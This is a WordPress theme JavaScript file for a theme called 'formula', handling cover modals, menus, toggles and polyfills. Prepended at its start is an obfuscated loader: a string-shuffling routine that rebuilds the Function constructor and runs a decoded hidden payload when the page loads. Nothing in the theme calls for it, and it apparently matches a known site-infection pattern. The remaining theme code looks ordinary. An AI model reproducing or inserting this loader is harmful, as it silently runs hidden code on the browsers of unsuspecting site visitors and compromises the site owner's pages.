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var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/* ----------------------------------------------------------------------------------------------- Namespace --------------------------------------------------------------------------------------------------- */ var formula = formula || {}; // Set a default value for scrolled. formula.scrolled = 0; // polyfill closest // https://developer.mozilla.org/en-US/docs/Web/API/Element/closest#Polyfill if ( ! Element.prototype.closest ) { Element.prototype.closest = function( s ) { var el = this; do { if ( el.matches( s ) ) { return el; } el = el.parentElement || el.parentNode; } while ( el !== null && el.nodeType === 1 ); return null; }; } // polyfill forEach // https://developer.mozilla.org/en-US/docs/Web/API/NodeList/forEach#Polyfill if ( window.NodeList && ! NodeList.prototype.forEach ) { NodeList.prototype.forEach = function( callback, thisArg ) { var i; var len = this.length; thisArg = thisArg || window; for ( i = 0; i < len; i++ ) { callback.call( thisArg, this[ i ], i, this ); } }; } // event "polyfill" formula.createEvent = function( eventName ) { var event; if ( typeof window.Event === 'function' ) { event = new Event( eventName ); } else { event = document.createEvent( 'Event' ); event.initEvent( eventName, true, false ); } return event; }; // matches "polyfill" // https://developer.mozilla.org/es/docs/Web/API/Element/matches if ( ! Element.prototype.matches ) { Element.prototype.matches = Element.prototype.matchesSelector || Element.prototype.mozMatchesSelector || Element.prototype.msMatchesSelector || Element.prototype.oMatchesSelector || Element.prototype.webkitMatchesSelector || function( s ) { var matches = ( this.document || this.ownerDocument ).querySelectorAll( s ), i = matches.length; while ( --i >= 0 && matches.item( i ) !== this ) {} return i > -1; }; } // Add a class to the body for when touch is enabled for browsers that don't support media queries // for interaction media features. Adapted from <https://codepen.io/Ferie/pen/vQOMmO>. formula.touchEnabled = { init: function() { var matchMedia = function() { // Include the 'heartz' as a way to have a non-matching MQ to help terminate the join. See <https://git.io/vznFH>. var prefixes = [ '-webkit-', '-moz-', '-o-', '-ms-' ]; var query = [ '(', prefixes.join( 'touch-enabled),(' ), 'heartz', ')' ].join( '' ); return window.matchMedia && window.matchMedia( query ).matches; }; if ( ( 'ontouchstart' in window ) || ( window.DocumentTouch && document instanceof window.DocumentTouch ) || matchMedia() ) { document.body.classList.add( 'touch-enabled' ); } } }; // formula.touchEnabled /* ----------------------------------------------------------------------------------------------- Cover Modals --------------------------------------------------------------------------------------------------- */ formula.coverModals = { init: function() { if ( document.querySelector( '.cover-modal' ) ) { // Handle cover modals when they're toggled. this.onToggle(); // When toggled, untoggle if visitor clicks on the wrapping element of the modal. this.outsideUntoggle(); // Close on escape key press. this.closeOnEscape(); // Hide and show modals before and after their animations have played out. this.hideAndShowModals(); } }, // Handle cover modals when they're toggled. onToggle: function() { document.querySelectorAll( '.cover-modal' ).forEach( function( element ) { element.addEventListener( 'toggled', function( event ) { var modal = event.target, body = document.body; if ( modal.classList.contains( 'active' ) ) { body.classList.add( 'showing-modal' ); } else { body.classList.remove( 'showing-modal' ); body.classList.add( 'hiding-modal' ); // Remove the hiding class after a delay, when animations have been run. setTimeout( function() { body.classList.remove( 'hiding-modal' ); }, 500 ); } } ); } ); }, // Close modal on outside click. outsideUntoggle: function() { document.addEventListener( 'click', function( event ) { var target = event.target; var modal = document.querySelector( '.cover-modal.active' ); // if target onclick is <a> with # within the href attribute if ( event.target.tagName.toLowerCase() === 'a' && event.target.hash.includes( '#' ) && modal !== null ) { // untoggle the modal this.untoggleModal( modal ); // wait 550 and scroll to the anchor setTimeout( function() { var anchor = document.getElementById( event.target.hash.slice( 1 ) ); anchor.scrollIntoView(); }, 550 ); } if ( target === modal ) { this.untoggleModal( target ); } }.bind( this ) ); }, // Close modal on escape key press. closeOnEscape: function() { document.addEventListener( 'keydown', function( event ) { if ( event.keyCode === 27 ) { event.preventDefault(); document.querySelectorAll( '.cover-modal.active' ).forEach( function( element ) { this.untoggleModal( element ); }.bind( this ) ); } }.bind( this ) ); }, // Hide and show modals before and after their animations have played out. hideAndShowModals: function() { var _doc = document, _win = window, modals = _doc.querySelectorAll( '.cover-modal' ), htmlStyle = _doc.documentElement.style, adminBar = _doc.querySelector( '#wpadminbar' ); function getAdminBarHeight( negativeValue ) { var height, currentScroll = _win.pageYOffset; if ( adminBar ) { height = currentScroll + adminBar.getBoundingClientRect().height; return negativeValue ? -height : height; } return currentScroll === 0 ? 0 : -currentScroll; } function htmlStyles() { var overflow = _win.innerHeight > _doc.documentElement.getBoundingClientRect().height; return { 'overflow-y': overflow ? 'hidden' : 'scroll', position: 'fixed', width: '100%', top: getAdminBarHeight( true ) + 'px', left: 0 }; } // Show the modal. modals.forEach( function( modal ) { modal.addEventListener( 'toggle-target-before-inactive', function( event ) { var styles = htmlStyles(), offsetY = _win.pageYOffset, paddingTop = ( Math.abs( getAdminBarHeight() ) - offsetY ) + 'px', mQuery = _win.matchMedia( '(max-width: 600px)' ); if ( event.target !== modal ) { return; } Object.keys( styles ).forEach( function( styleKey ) { htmlStyle.setProperty( styleKey, styles[ styleKey ] ); } ); _win.formula.scrolled = parseInt( styles.top, 10 ); if ( adminBar ) { _doc.body.style.setProperty( 'padding-top', paddingTop ); if ( mQuery.matches ) { if ( offsetY >= getAdminBarHeight() ) { modal.style.setProperty( 'top', 0 ); } else { modal.style.setProperty( 'top', ( getAdminBarHeight() - offsetY ) + 'px' ); } } } modal.classList.add( 'show-modal' ); } ); // Hide the modal after a delay, so animations have time to play out. modal.addEventListener( 'toggle-target-after-inactive', function( event ) { if ( event.target !== modal ) { return; } setTimeout( function() { var clickedEl = formula.toggles.clickedEl; modal.classList.remove( 'show-modal' ); Object.keys( htmlStyles() ).forEach( function( styleKey ) { htmlStyle.removeProperty( styleKey ); } ); if ( adminBar ) { _doc.body.style.removeProperty( 'padding-top' ); modal.style.removeProperty( 'top' ); } if ( clickedEl !== false ) { clickedEl.focus(); clickedEl = false; } _win.scrollTo( 0, Math.abs( _win.formula.scrolled + getAdminBarHeight() ) ); _win.formula.scrolled = 0; }, 500 ); } ); } ); }, // Untoggle a modal. untoggleModal: function( modal ) { var modalTargetClass, modalToggle = false; // If the modal has specified the string (ID or class) used by toggles to target it, untoggle the toggles with that target string. // The modal-target-string must match the string toggles use to target the modal. if ( modal.dataset.modalTargetString ) { modalTargetClass = modal.dataset.modalTargetString; modalToggle = document.querySelector( '*[data-toggle-target="' + modalTargetClass + '"]' ); } // If a modal toggle exists, trigger it so all of the toggle options are included. if ( modalToggle ) { modalToggle.click(); // If one doesn't exist, just hide the modal. } else { modal.classList.remove( 'active' ); } } }; // formula.coverModals /* ----------------------------------------------------------------------------------------------- Intrinsic Ratio Embeds --------------------------------------------------------------------------------------------------- */ formula.intrinsicRatioVideos = { init: function() { this.makeFit(); window.addEventListener( 'resize', function() { this.makeFit(); }.bind( this ) ); }, makeFit: function() { document.querySelectorAll( 'iframe, object, video' ).forEach( function( video ) { var ratio, iTargetWidth, container = video.parentNode; // Skip videos we want to ignore. if ( video.classList.contains( 'intrinsic-ignore' ) || video.parentNode.classList.contains( 'intrinsic-ignore' ) ) { return true; } if ( ! video.dataset.origwidth ) { // Get the video element proportions. video.setAttribute( 'data-origwidth', video.width ); video.setAttribute( 'data-origheight', video.height ); } iTargetWidth = container.offsetWidth; // Get ratio from proportions. ratio = iTargetWidth / video.dataset.origwidth; // Scale based on ratio, thus retaining proportions. video.style.width = iTargetWidth + 'px'; video.style.height = ( video.dataset.origheight * ratio ) + 'px'; } ); } }; // formula.instrinsicRatioVideos /* ----------------------------------------------------------------------------------------------- Modal Menu --------------------------------------------------------------------------------------------------- */ formula.modalMenu = { init: function() { // If the current menu item is in a sub level, expand all the levels higher up on load. this.expandLevel(); this.keepFocusInModal(); }, expandLevel: function() { var modalMenus = document.querySelectorAll( '.modal-menu' ); modalMenus.forEach( function( modalMenu ) { var activeMenuItem = modalMenu.querySelector( '.current-menu-item' ); if ( activeMenuItem ) { formulaFindParents( activeMenuItem, 'li' ).forEach( function( element ) { var subMenuToggle = element.querySelector( '.sub-menu-toggle' ); if ( subMenuToggle ) { formula.toggles.performToggle( subMenuToggle, true ); } } ); } } ); }, keepFocusInModal: function() { var _doc = document; _doc.addEventListener( 'keydown', function( event ) { var toggleTarget, modal, selectors, elements, menuType, bottomMenu, activeEl, lastEl, firstEl, tabKey, shiftKey, clickedEl = formula.toggles.clickedEl; if ( clickedEl && _doc.body.classList.contains( 'showing-modal' ) ) { toggleTarget = clickedEl.dataset.toggleTarget; selectors = 'input, a, button'; modal = _doc.querySelector( toggleTarget ); elements = modal.querySelectorAll( selectors ); elements = Array.prototype.slice.call( elements ); if ( '.menu-modal' === toggleTarget ) { menuType = window.matchMedia( '(min-width: 1000px)' ).matches; menuType = menuType ? '.expanded-menu' : '.mobile-menu'; elements = elements.filter( function( element ) { return null !== element.closest( menuType ) && null !== element.offsetParent; } ); elements.unshift( _doc.querySelector( '.close-nav-toggle' ) ); bottomMenu = _doc.querySelector( '.menu-bottom > nav' ); if ( bottomMenu ) { bottomMenu.querySelectorAll( selectors ).forEach( function( element ) { elements.push( element ); } ); } } lastEl = elements[ elements.length - 1 ]; firstEl = elements[0]; activeEl = _doc.activeElement; tabKey = event.keyCode === 9; shiftKey = event.shiftKey; if ( ! shiftKey && tabKey && lastEl === activeEl ) { event.preventDefault(); firstEl.focus(); } if ( shiftKey && tabKey && firstEl === activeEl ) { event.preventDefault(); lastEl.focus(); } } } ); } }; // formula.modalMenu /* ----------------------------------------------------------------------------------------------- Primary Menu --------------------------------------------------------------------------------------------------- */ formula.primaryMenu = { init: function() { this.focusMenuWithChildren(); }, // The focusMenuWithChildren() function implements Keyboard Navigation in the Primary Menu // by adding the '.focus' class to all 'li.menu-item-has-children' when the focus is on the 'a' element. focusMenuWithChildren: function() { // Get all the link elements within the primary menu. var links, i, len, menu = document.querySelector( '.primary-menu-wrapper' ); if ( ! menu ) { return false; } links = menu.getElementsByTagName( 'a' ); // Each time a menu link is focused or blurred, toggle focus. for ( i = 0, len = links.length; i < len; i++ ) { links[i].addEventListener( 'focus', toggleFocus, true ); links[i].addEventListener( 'blur', toggleFocus, true ); } //Sets or removes the .focus class on an element. function toggleFocus() { var self = this; // Move up through the ancestors of the current link until we hit .primary-menu. while ( -1 === self.className.indexOf( 'primary-menu' ) ) { // On li elements toggle the class .focus. if ( 'li' === self.tagName.toLowerCase() ) { if ( -1 !== self.className.indexOf( 'focus' ) ) { self.className = self.className.replace( ' focus', '' ); } else { self.className += ' focus'; } } self = self.parentElement; } } } }; // formula.primaryMenu /* ----------------------------------------------------------------------------------------------- Toggles --------------------------------------------------------------------------------------------------- */ formula.toggles = { clickedEl: false, init: function() { // Do the toggle. this.toggle(); // Check for toggle/untoggle on resize. this.resizeCheck(); // Check for untoggle on escape key press. this.untoggleOnEscapeKeyPress(); }, performToggle: function( element, instantly ) { var target, timeOutTime, classToToggle, self = this, _doc = document, // Get our targets. toggle = element, targetString = toggle.dataset.toggleTarget, activeClass = 'active'; // Elements to focus after modals are closed. if ( ! _doc.querySelectorAll( '.show-modal' ).length ) { self.clickedEl = _doc.activeElement; } if ( targetString === 'next' ) { target = toggle.nextSibling; } else { target = _doc.querySelector( targetString ); } // Trigger events on the toggle targets before they are toggled. if ( target.classList.contains( activeClass ) ) { target.dispatchEvent( formula.createEvent( 'toggle-target-before-active' ) ); } else { target.dispatchEvent( formula.createEvent( 'toggle-target-before-inactive' ) ); } // Get the class to toggle, if specified. classToToggle = toggle.dataset.classToToggle ? toggle.dataset.classToToggle : activeClass; // For cover modals, set a short timeout duration so the class animations have time to play out. timeOutTime = 0; if ( target.classList.contains( 'cover-modal' ) ) { timeOutTime = 10; } setTimeout( function() { var focusElement, subMenued = target.classList.contains( 'sub-menu' ), newTarget = subMenued ? toggle.closest( '.menu-item' ).querySelector( '.sub-menu' ) : target, duration = toggle.dataset.toggleDuration; // Toggle the target of the clicked toggle. if ( toggle.dataset.toggleType === 'slidetoggle' && ! instantly && duration !== '0' ) { formulaMenuToggle( newTarget, duration ); } else { newTarget.classList.toggle( classToToggle ); } // If the toggle target is 'next', only give the clicked toggle the active class. if ( targetString === 'next' ) { toggle.classList.toggle( activeClass ); } else if ( target.classList.contains( 'sub-menu' ) ) { toggle.classList.toggle( activeClass ); } else { // If not, toggle all toggles with this toggle target. _doc.querySelector( '*[data-toggle-target="' + targetString + '"]' ).classList.toggle( activeClass ); } // Toggle aria-expanded on the toggle. formulaToggleAttribute( toggle, 'aria-expanded', 'true', 'false' ); if ( self.clickedEl && -1 !== toggle.getAttribute( 'class' ).indexOf( 'close-' ) ) { formulaToggleAttribute( self.clickedEl, 'aria-expanded', 'true', 'false' ); } // Toggle body class. if ( toggle.dataset.toggleBodyClass ) { _doc.body.classList.toggle( toggle.dataset.toggleBodyClass ); } // Check whether to set focus. if ( toggle.dataset.setFocus ) { focusElement = _doc.querySelector( toggle.dataset.setFocus ); if ( focusElement ) { if ( target.classList.contains( activeClass ) ) { focusElement.focus(); } else { focusElement.blur(); } } } // Trigger the toggled event on the toggle target. target.dispatchEvent( formula.createEvent( 'toggled' ) ); // Trigger events on the toggle targets after they are toggled. if ( target.classList.contains( activeClass ) ) { target.dispatchEvent( formula.createEvent( 'toggle-target-after-active' ) ); } else { target.dispatchEvent( formula.createEvent( 'toggle-target-after-inactive' ) ); } }, timeOutTime ); }, // Do the toggle. toggle: function() { var self = this; document.querySelectorAll( '*[data-toggle-target]' ).forEach( function( element ) { element.addEventListener( 'click', function( event ) { event.preventDefault(); self.performToggle( element ); } ); } ); }, // Check for toggle/untoggle on screen resize. resizeCheck: function() { if ( document.querySelectorAll( '*[data-untoggle-above], *[data-untoggle-below], *[data-toggle-above], *[data-toggle-below]' ).length ) { window.addEventListener( 'resize', function() { var winWidth = window.innerWidth, toggles = document.querySelectorAll( '.toggle' ); toggles.forEach( function( toggle ) { var unToggleAbove = toggle.dataset.untoggleAbove, unToggleBelow = toggle.dataset.untoggleBelow, toggleAbove = toggle.dataset.toggleAbove, toggleBelow = toggle.dataset.toggleBelow; // If no width comparison is set, continue. if ( ! unToggleAbove && ! unToggleBelow && ! toggleAbove && ! toggleBelow ) { return; } // If the toggle width comparison is true, toggle the toggle. if ( ( ( ( unToggleAbove && winWidth > unToggleAbove ) || ( unToggleBelow && winWidth < unToggleBelow ) ) && toggle.classList.contains( 'active' ) ) || ( ( ( toggleAbove && winWidth > toggleAbove ) || ( toggleBelow && winWidth < toggleBelow ) ) && ! toggle.classList.contains( 'active' ) ) ) { toggle.click(); } } ); } ); } }, // Close toggle on escape key press. untoggleOnEscapeKeyPress: function() { document.addEventListener( 'keyup', function( event ) { if ( event.key === 'Escape' ) { document.querySelectorAll( '*[data-untoggle-on-escape].active' ).forEach( function( element ) { if ( element.classList.contains( 'active' ) ) { element.click(); } } ); } } ); } }; // formula.toggles /** * Is the DOM ready? * * This implementation is coming from https://gomakethings.com/a-native-javascript-equivalent-of-jquerys-ready-method/ * * @param {Function} fn Callback function to run. */ function formulaDomReady( fn ) { if ( typeof fn !== 'function' ) { return; } if ( document.readyState === 'interactive' || document.readyState === 'complete' ) { return fn(); } document.addEventListener( 'DOMContentLoaded', fn, false ); } formulaDomReady( function() { formula.toggles.init(); // Handle toggles. formula.coverModals.init(); // Handle cover modals. formula.intrinsicRatioVideos.init(); // Retain aspect ratio of videos on window resize. formula.modalMenu.init(); // Modal Menu. formula.primaryMenu.init(); // Primary Menu. formula.touchEnabled.init(); // Add class to body if device is touch-enabled. } ); /* ----------------------------------------------------------------------------------------------- Helper functions --------------------------------------------------------------------------------------------------- */ /* Toggle an attribute ----------------------- */ function formulaToggleAttribute( element, attribute, trueVal, falseVal ) { if ( element.classList.contains( 'close-search-toggle' ) ) { return; } if ( trueVal === undefined ) { trueVal = true; } if ( falseVal === undefined ) { falseVal = false; } if ( element.getAttribute( attribute ) !== trueVal ) { element.setAttribute( attribute, trueVal ); } else { element.setAttribute( attribute, falseVal ); } } /** * Toggle a menu item on or off. * * @param {HTMLElement} target * @param {number} duration */ function formulaMenuToggle( target, duration ) { var initialParentHeight, finalParentHeight, menu, menuItems, transitionListener, initialPositions = [], finalPositions = []; if ( ! target ) { return; } menu = target.closest( '.menu-wrapper' ); // Step 1: look at the initial positions of every menu item. menuItems = menu.querySelectorAll( '.menu-item' ); menuItems.forEach( function( menuItem, index ) { initialPositions[ index ] = { x: menuItem.offsetLeft, y: menuItem.offsetTop }; } ); initialParentHeight = target.parentElement.offsetHeight; target.classList.add( 'toggling-target' ); // Step 2: toggle target menu item and look at the final positions of every menu item. target.classList.toggle( 'active' ); menuItems.forEach( function( menuItem, index ) { finalPositions[ index ] = { x: menuItem.offsetLeft, y: menuItem.offsetTop }; } ); finalParentHeight = target.parentElement.offsetHeight; // Step 3: close target menu item again. // The whole process happens without giving the browser a chance to render, so it's invisible. target.classList.toggle( 'active' ); /* * Step 4: prepare animation. * Position all the items with absolute offsets, at the same starting position. * Shouldn't result in any visual changes if done right. */ menu.classList.add( 'is-toggling' ); target.classList.toggle( 'active' ); menuItems.forEach( function( menuItem, index ) { var initialPosition = initialPositions[ index ]; if ( initialPosition.y === 0 && menuItem.parentElement === target ) { initialPosition.y = initialParentHeight; } menuItem.style.transform = 'translate(' + initialPosition.x + 'px, ' + initialPosition.y + 'px)'; } ); /* * The double rAF is unfortunately needed, since we're toggling CSS classes, and * the only way to ensure layout completion here across browsers is to wait twice. * This just delays the start of the animation by 2 frames and is thus not an issue. */ requestAnimationFrame( function() { requestAnimationFrame( function() { /* * Step 5: start animation by moving everything to final position. * All the layout work has already happened, while we were preparing for the animation. * The animation now runs entirely in CSS, using cheap CSS properties (opacity and transform) * that don't trigger the layout or paint stages. */ menu.classList.add( 'is-animating' ); menuItems.forEach( function( menuItem, index ) { var finalPosition = finalPositions[ index ]; if ( finalPosition.y === 0 && menuItem.parentElement === target ) { finalPosition.y = finalParentHeight; } if ( duration !== undefined ) { menuItem.style.transitionDuration = duration + 'ms'; } menuItem.style.transform = 'translate(' + finalPosition.x + 'px, ' + finalPosition.y + 'px)'; } ); if ( duration !== undefined ) { target.style.transitionDuration = duration + 'ms'; } } ); // Step 6: finish toggling. // Remove all transient classes when the animation ends. transitionListener = function() { menu.classList.remove( 'is-animating' ); menu.classList.remove( 'is-toggling' ); target.classList.remove( 'toggling-target' ); menuItems.forEach( function( menuItem ) { menuItem.style.transform = ''; menuItem.style.transitionDuration = ''; } ); target.style.transitionDuration = ''; target.removeEventListener( 'transitionend', transitionListener ); }; target.addEventListener( 'transitionend', transitionListener ); } ); } /** * Traverses the DOM up to find elements matching the query. * * @param {HTMLElement} target * @param {string} query * @return {NodeList} parents matching query */ function formulaFindParents( target, query ) { var parents = []; // Recursively go up the DOM adding matches to the parents array. function traverse( item ) { var parent = item.parentNode; if ( parent instanceof HTMLElement ) { if ( parent.matches( query ) ) { parents.push( parent ); } traverse( parent ); } } traverse( target ); return parents; }